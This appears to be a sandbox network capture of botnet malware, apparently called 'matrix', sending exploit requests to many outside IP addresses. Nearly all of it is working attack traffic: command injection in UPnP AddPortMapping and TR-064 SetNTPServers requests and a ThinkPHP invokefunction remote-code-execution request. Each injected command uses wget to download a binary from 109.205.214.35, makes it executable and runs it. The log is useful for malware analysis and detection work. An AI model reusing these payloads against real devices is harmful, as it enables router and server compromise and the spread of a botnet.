Mar 21, 2024 05:23:19.887367964 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:21.100296021 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:23.567341089 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:28.428318024 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:38.159354925 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1574	192.168.2.13	41062	59.22.19.75	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:19.267112017 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:20.135350943 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1575	192.168.2.13	33424	31.104.157.156	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:19.336405039 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1576	192.168.2.13	36264	201.213.210.204	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:19.498994112 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1577	192.168.2.13	57092	112.245.54.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:19.500238895 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:19.841345072 CET	321	IN	HTTP/1.1 400 Bad Request Server: Server Date: Thu, 21 Mar 2024 04:23:19 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1578	192.168.2.13	46900	112.197.74.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:19.562009096 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:19.932882071 CET	339	IN	HTTP/1.0 400 Bad Request Date: Thu, 21 Mar 2024 11:23:19 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1579	192.168.2.13	46194	115.19.239.84	7547

Timestamp	Bytes transferred	Direction	Data
